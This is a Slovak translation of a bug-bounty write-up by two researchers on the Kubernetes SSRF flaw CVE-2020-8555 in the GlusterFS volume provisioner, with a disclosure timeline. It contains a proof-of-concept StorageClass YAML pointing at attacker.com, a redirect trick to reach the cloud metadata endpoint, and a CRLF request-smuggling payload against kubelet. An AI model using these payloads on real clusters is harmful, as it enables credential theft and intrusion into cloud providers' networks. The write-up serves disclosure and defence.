Keď to nie je len o zraniteľnostiach Kubernetes...

Poznámka. preklad.: autori tohto článku podrobne rozprávajú o tom, ako sa im podarilo odhaliť zraniteľnosť CVE-2020-8555 v Kubernetes. Aj keď sa to spočiatku nezdalo príliš nebezpečné, v kombinácii s ďalšími faktormi sa ukázala jeho kritickosť pre niektorých poskytovateľov cloudu ako maximálna. Niekoľko organizácií špecialistov za ich prácu štedro odmenilo.

Keď to nie je len o zraniteľnostiach Kubernetes...

Kto sme

Sme dvaja francúzski bezpečnostní výskumníci, ktorí spoločne objavili zraniteľnosť v Kubernetes. Naše mená sú Brice Augras a Christophe Hauquiert, ale na mnohých platformách Bug Bounty sme známi ako Reeverzax a Hach:

Čo sa stalo?

Tento článok je naším spôsobom, ako sa podeliť o to, ako sa obyčajný výskumný projekt nečakane zmenil na najvzrušujúcejšie dobrodružstvo v živote lovcov chrobákov (aspoň zatiaľ).

Ako pravdepodobne viete, lovci chýb majú niekoľko pozoruhodných funkcií:

  • žijú z pizze a piva;
  • pracujú, keď všetci ostatní spia.

Nie sme výnimkou z týchto pravidiel: zvyčajne sa stretávame cez víkendy a trávime bezsenné noci hackovaním. Jedna z týchto nocí sa však skončila veľmi nezvyčajným spôsobom.

Pôvodne sme sa chceli stretnúť, aby sme prediskutovali účasť CTF nasledujúci deň. Počas rozhovoru o zabezpečení Kubernetes v prostredí spravovaných služieb sme si spomenuli na starú myšlienku SSRF (Falšovanie požiadaviek na strane servera) a rozhodol sa ho skúsiť použiť ako útočný skript.

O 11:XNUMX sme si sadli, aby sme vykonali náš výskum a šli sme skoro ráno spať, veľmi spokojní s výsledkami. Práve kvôli tomuto výskumu sme narazili na program MSRC Bug Bounty a prišli s využitím eskalácie privilégií.

Prešlo niekoľko týždňov/mesiacov a náš neočakávaný výsledok vyústil do jednej z najvyšších odmien v histórii Azure Cloud Bug Bounty – navyše k tej, ktorú sme dostali od Kubernetes!

Na základe nášho výskumného projektu zverejnila komisia Kubernetes Product Security Committee CVE-2020-8555.

Teraz by som chcel čo najviac šíriť informácie o nájdenej zraniteľnosti. Dúfame, že tento nález oceníte a podelíte sa o technické podrobnosti s ostatnými členmi komunity infosec!

Takže tu je náš príbeh...

kontext

Aby sme dali čo najväčší zmysel tomu, čo sa stalo, pozrime sa najprv na to, ako Kubernetes funguje v prostredí spravovanom cloudom.

Keď vytvoríte inštanciu klastra Kubernetes v takomto prostredí, za vrstvu správy zvyčajne zodpovedá poskytovateľ cloudu:

Keď to nie je len o zraniteľnostiach Kubernetes...
Riadiaca vrstva sa nachádza na okraji poskytovateľa cloudu, zatiaľ čo uzly Kubernetes sú umiestnené na okraji zákazníka.

Na dynamické prideľovanie zväzkov sa používa mechanizmus, ktorý ich dynamicky poskytuje z externého úložného priestoru a porovnáva ich s PVC (trvalý nárok na zväzok, t. j. požiadavka na zväzok).

Po vytvorení a naviazaní PVC na StorageClass v klastri K8s teda ďalšie akcie na poskytnutie zväzku prevezme správca radiča kube/cloud (jeho presný názov závisí od vydania). (Poznámka. preklad.: O CCM sme už písali viac na príklade jeho implementácie pre jedného z cloudových poskytovateľov tu.)

Kubernetes podporuje niekoľko typov poskytovateľov: väčšina z nich je zahrnutá v jadro orchestrátora, zatiaľ čo iné spravujú ďalší poskytovatelia, ktorí sú umiestnení v podoch v klastri.

V našom výskume sme sa zamerali na mechanizmus interného poskytovania objemu, ktorý je znázornený nižšie:

Keď to nie je len o zraniteľnostiach Kubernetes...
Dynamické poskytovanie zväzkov pomocou vstavaného poskytovateľa Kubernetes

Stručne povedané, keď je Kubernetes nasadený v spravovanom prostredí, za správcu radiča je zodpovedný poskytovateľ cloudu, ale požiadavka na vytvorenie zväzku (číslo 3 v diagrame vyššie) opúšťa internú sieť poskytovateľa cloudu. A tu sú veci naozaj zaujímavé!

Scenár hackovania

V tejto časti vysvetlíme, ako sme využili pracovný postup uvedený vyššie a dostali sa k interným zdrojom poskytovateľa cloudových služieb. Tiež vám ukáže, ako môžete vykonávať určité akcie, ako je získanie interných poverení alebo eskalácia privilégií.

Jedna jednoduchá manipulácia (v tomto prípade Service Side Request Forgery) pomohla prejsť mimo klientskeho prostredia do zhlukov rôznych poskytovateľov služieb pod spravovanými K8.

V našom výskume sme sa zamerali na poskytovateľa GlusterFS. Napriek tomu, že v tomto kontexte je popísaná ďalšia postupnosť akcií, Quobyte, StorageOS a ScaleIO sú náchylné na rovnakú zraniteľnosť.

Keď to nie je len o zraniteľnostiach Kubernetes...
Zneužitie mechanizmu poskytovania dynamického objemu

Počas analýzy tried skladovania GlusterFS v zdrojovom kóde klienta Golang my všimol siže pri prvej požiadavke HTTP (3) odoslanej počas vytvárania zväzku na koniec vlastnej adresy URL v parametri resturl sa pridá /volumes.

Rozhodli sme sa zbaviť tejto ďalšej cesty pridaním # v parametri resturl. Tu je prvá konfigurácia YAML, ktorú sme použili na testovanie poloslepej zraniteľnosti SSRF (viac o poloslepom alebo poloslepom SSRF si môžete prečítať napr. tu - približne. preklad.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Potom sme použili binárny súbor na vzdialenú správu klastra Kubernetes kubectl. Poskytovatelia cloudu (Azure, Google, AWS atď.) vám zvyčajne umožňujú získať poverenia na použitie v tomto nástroji.

Vďaka tomu som mohol použiť svoj „špeciálny“ súbor. Kube-controller-manager vykonal výslednú požiadavku HTTP:

kubectl create -f sc-poc.yaml

Keď to nie je len o zraniteľnostiach Kubernetes...
Odpoveď z pohľadu útočníka

Krátko na to sme boli tiež schopní prijať HTTP odpoveď z cieľového servera - prostredníctvom príkazov describe pvc alebo get events v kubectl. A skutočne: tento predvolený ovládač Kubernetes je vo svojich upozorneniach/chybových správach príliš podrobný...

Tu je príklad s odkazom na https://www.google.frnastaviť ako parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Keď to nie je len o zraniteľnostiach Kubernetes...

V tomto prístupe sme sa obmedzili na otázky ako HTTP POST a nemohol získať obsah tela odpovede, ak bol návratový kód 201. Preto sme sa rozhodli vykonať ďalší výskum a tento hackerský scenár sme rozšírili o nové prístupy.

Vývoj nášho výskumu

  • Pokročilý scenár č. 1: Použitie presmerovania 302 z externého servera na zmenu metódy HTTP s cieľom poskytnúť flexibilnejší spôsob zhromažďovania interných údajov.
  • Pokročilý scenár č. 2: Automatizujte skenovanie LAN a zisťovanie interných zdrojov.
  • Pokročilý scenár č. 3: používanie HTTP CRLF + pašovanie („pašovanie požiadaviek“) na vytváranie prispôsobených požiadaviek HTTP a získavanie údajov extrahovaných z protokolov kube-controller.

Technické špecifikácie

  • Pri výskume sa použila služba Azure Kubernetes (AKS) s verziou Kubernetes 1.12 v regióne Severná Európa.
  • Vyššie opísané scenáre boli spustené na najnovších vydaniach Kubernetes, s výnimkou tretieho scenára, pretože potreboval Kubernetes vytvorený s Golang verziou ≤ 1.12.
  • Externý server útočníka - https://attacker.com.

Pokročilý scenár č. 1: Presmerovanie požiadavky HTTP POST na GET a príjem citlivých údajov

Pôvodná metóda bola vylepšená konfiguráciou servera útočníka na návrat 302 HTTP Retcodena konverziu požiadavky POST na požiadavku GET (krok 4 v diagrame):

Keď to nie je len o zraniteľnostiach Kubernetes...

Prvá požiadavka (3) prichádza od klienta GlusterFS (Controller Manager), má typ POST. Nasledovaním týchto krokov sme to dokázali premeniť na GET:

  • Ako parameter resturl v StorageClass je to uvedené http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php odpovie stavovým kódom HTTP 302 s nasledujúcou hlavičkou umiestnenia: http://169.254.169.254. Môže to byť akýkoľvek iný interný zdroj – v tomto prípade sa odkaz na presmerovanie používa iba ako príklad.
  • V predvolenom nastavení net/http knižnica Golang presmeruje požiadavku a konvertuje POST na GET so stavovým kódom 302, čo vedie k požiadavke HTTP GET na cieľový zdroj.

Ak chcete prečítať telo odpovede HTTP, musíte to urobiť describe PVC predmet:

kubectl describe pvc xxx

Tu je príklad odpovede HTTP vo formáte JSON, ktorú sme mohli prijať:

Keď to nie je len o zraniteľnostiach Kubernetes...

Možnosti nájdenej zraniteľnosti v tom čase boli obmedzené z nasledujúcich dôvodov:

  • Nemožnosť vložiť hlavičky HTTP do odchádzajúcej požiadavky.
  • Nemožnosť vykonať požiadavku POST s parametrami v tele (toto je vhodné požiadať o hodnotu kľúča z inštancie etcd spustenej na 2379 port, ak sa používa nešifrovaný HTTP).
  • Nemožnosť načítať obsah tela odpovede, keď stavový kód bol 200 a odpoveď nemala typ obsahu JSON.

Pokročilý scenár č. 2: Skenovanie lokálnej siete

Táto poloslepá metóda SSRF sa potom použila na skenovanie internej siete poskytovateľa cloudu a prieskum rôznych služieb počúvania (inštancia metadát, Kubelet atď.) na základe odpovedí. ovládač kube.

Keď to nie je len o zraniteľnostiach Kubernetes...

Najprv sa určili štandardné načúvacie porty komponentov Kubernetes (8443, 10250, 10251 atď.) a potom sme museli zautomatizovať proces skenovania.

Keďže tento spôsob skenovania zdrojov je veľmi špecifický a nie je kompatibilný s klasickými skenermi a nástrojmi SSRF, rozhodli sme sa vytvoriť vlastných pracovníkov v bash skripte, ktorí celý proces automatizujú.

Napríklad na rýchle skenovanie rozsahu 172.16.0.0/12 internej siete bolo paralelne spustených 15 pracovníkov. Vyššie uvedený rozsah IP bol vybraný len ako príklad a môže sa zmeniť podľa rozsahu IP vášho konkrétneho poskytovateľa služieb.

Ak chcete skenovať jednu IP adresu a jeden port, musíte urobiť nasledovné:

  • odstrániť poslednú začiarknutú triedu Storage;
  • odstrániť predchádzajúci overený nárok na trvalý objem;
  • zmeniť hodnoty IP a portu sc.yaml;
  • vytvorte StorageClass s novou IP a portom;
  • vytvorte nový PVC;
  • extrahujte výsledky skenovania pomocou popisu pre PVC.

Pokročilý scenár č. 3: Injekcia CRLF + pašovanie HTTP v „starých“ verziách klastra Kubernetes

Ak okrem toho poskytovateľ ponúkal klientom staré verzie klastra K8s и im umožnil prístup k denníkom kube-controller-manager, efekt sa stal ešte výraznejší.

Pre útočníka je skutočne oveľa pohodlnejšie zmeniť požiadavky HTTP navrhnuté tak, aby získal úplnú odpoveď HTTP podľa vlastného uváženia.

Keď to nie je len o zraniteľnostiach Kubernetes...

Na implementáciu posledného scenára museli byť splnené nasledujúce podmienky:

  • Používateľ musí mať prístup k protokolom kube-controller-manager (ako napríklad v Azure LogInsights).
  • Klaster Kubernetes musí používať verziu Golang nižšiu ako 1.12.

Nasadili sme lokálne prostredie, ktoré simulovalo komunikáciu medzi klientom GlusterFS Go a falošným cieľovým serverom (zatiaľ sa zdržíme zverejňovania PoC).

Našlo sa zraniteľnosť, ktorý ovplyvňuje verzie Golang nižšie ako 1.12 a umožňuje hackerom vykonávať pašovanie HTTP/CRLF útoky.

Kombináciou poloslepého SSRF opísaného vyššie вместе vďaka tomu sme mohli posielať požiadavky podľa našich predstáv, vrátane výmeny hlavičiek, HTTP metódy, parametrov a dát, ktoré kube-controller-manager následne spracoval.

Tu je príklad fungujúcej „návnady“ v parametri resturl StorageClass, ktorý implementuje podobný scenár útoku:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Výsledkom je chyba nevyžiadaná odpoveď, správa o ktorej je zaznamenaná v denníkoch regulátora. Vďaka predvolene povolenej výrečnosti sa tam uloží aj obsah správy HTTP odpovede.

Keď to nie je len o zraniteľnostiach Kubernetes...

To bola naša najúčinnejšia „návnada“ v rámci proof of concept.

Pomocou tohto prístupu sme boli schopní vykonať niektoré z nasledujúcich útokov na klastre rôznych spravovaných poskytovateľov k8s: eskalácia privilégií s povereniami na inštancie metadát, Master DoS prostredníctvom (nešifrovaných) HTTP požiadaviek na master inštancie etcd atď.

účinky

V oficiálnom vyhlásení Kubernetes týkajúceho sa zraniteľnosti SSRF, ktorú sme objavili, bola hodnotená CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ak vezmeme do úvahy iba zraniteľnosť spojenú s perimetrom Kubernetes, vektor integrity (vektor integrity) kvalifikuje sa ako nikto.

Posúdenie možných dôsledkov v kontexte prostredia riadených služieb (a to bola najzaujímavejšia časť nášho výskumu!) nás však podnietilo preklasifikovať zraniteľnosť na hodnotenie Kritické CVSS10/10 pre mnohých distribútorov.

Nižšie sú uvedené ďalšie informácie, ktoré vám pomôžu pochopiť naše úvahy pri posudzovaní potenciálnych vplyvov v cloudových prostrediach:

integrita

  • Vykonávajte príkazy na diaľku pomocou získaných interných poverení.
  • Reprodukcia vyššie uvedeného scenára pomocou metódy IDOR (Insecure Direct Object Reference) s inými zdrojmi nachádzajúcimi sa v lokálnej sieti.

Dôvernosť

  • Typ útoku Bočný pohyb vďaka krádeži cloudových prihlasovacích údajov (napríklad metadátového API).
  • Zhromažďovanie informácií skenovaním lokálnej siete (určenie verzie SSH, verzie HTTP servera, ...).
  • Zhromažďujte informácie o inštanciách a infraštruktúre pomocou dopytovania interných rozhraní API, ako je napríklad rozhranie API metadát (http://169.254.169.254, ...).
  • Krádež údajov zákazníkov pomocou cloudových poverení.

dostupnosť

Všetky scenáre zneužitia súvisiace s vektormi útoku na bezúhonnosť, možno použiť na deštruktívne akcie a viesť k nedostupnosti hlavných inštancií z perimetra klienta (alebo akéhokoľvek iného).

Keďže sme boli v riadenom prostredí K8 a posudzovali sme vplyv na integritu, vieme si predstaviť veľa scenárov, ktoré by mohli ovplyvniť dostupnosť. Medzi ďalšie príklady patrí poškodenie databázy etcd alebo uskutočnenie kritického volania rozhrania Kubernetes API.

chronológia

  • 6. december 2019: Chyba zabezpečenia bola nahlásená MSRC Bug Bounty.
  • 3. januára 2020: Tretia strana informovala vývojárov Kubernetes, že pracujeme na bezpečnostnom probléme. A požiadal ich, aby považovali SSRF za vnútornú (vnútornú) zraniteľnosť. Potom sme poskytli všeobecnú správu s technickými podrobnosťami o zdroji problému.
  • 15. januára 2020: Poskytli sme technické a všeobecné správy vývojárom Kubernetes na ich žiadosť (prostredníctvom platformy HackerOne).
  • 15. januára 2020: Vývojári Kubernetes nás upozornili, že poloslepá injekcia SSRF + CRLF pre predchádzajúce vydania sa považuje za jadrovú zraniteľnosť. Okamžite sme prestali analyzovať perimetre iných poskytovateľov služieb: tím K8s sa teraz zaoberal hlavnou príčinou.
  • 15. januára 2020: Odmena MSRC prijatá prostredníctvom HackerOne.
  • 16. januára 2020: Kubernetes PSC (Výbor pre bezpečnosť produktov) túto zraniteľnosť rozpoznal a požiadal o udržanie tajnosti do polovice marca z dôvodu veľkého počtu potenciálnych obetí.
  • 11. februára 2020: Bola prijatá odmena VRP od Googlu.
  • 4. marca 2020: Odmena Kubernetes prijatá prostredníctvom HackerOne.
  • 15. marca 2020: Pôvodne plánované zverejnenie bolo odložené z dôvodu situácie COVID-19.
  • 1. júna 2020: Spoločné vyhlásenie Kubernetes + Microsoft o tejto zraniteľnosti.

TL; DR

  • Pijeme pivo a jeme pizzu :)
  • Objavili sme jadrovú zraniteľnosť v Kubernetes, hoci sme to nemali v úmysle.
  • Vykonali sme ďalšiu analýzu klastrov rôznych poskytovateľov cloudu a dokázali sme zvýšiť škody spôsobené zraniteľnosťou, aby sme získali ďalšie úžasné bonusy.
  • V tomto článku nájdete množstvo technických detailov. Radi ich s vami preberieme (Twitter: @ReeverZax & @__hach_).
  • Ukázalo sa, že všetky možné formality a nahlasovanie trvali oveľa dlhšie, ako sa očakávalo.

referencie

PS od prekladateľa

Prečítajte si aj na našom blogu:

Zdroj: hab.com

Pridať komentár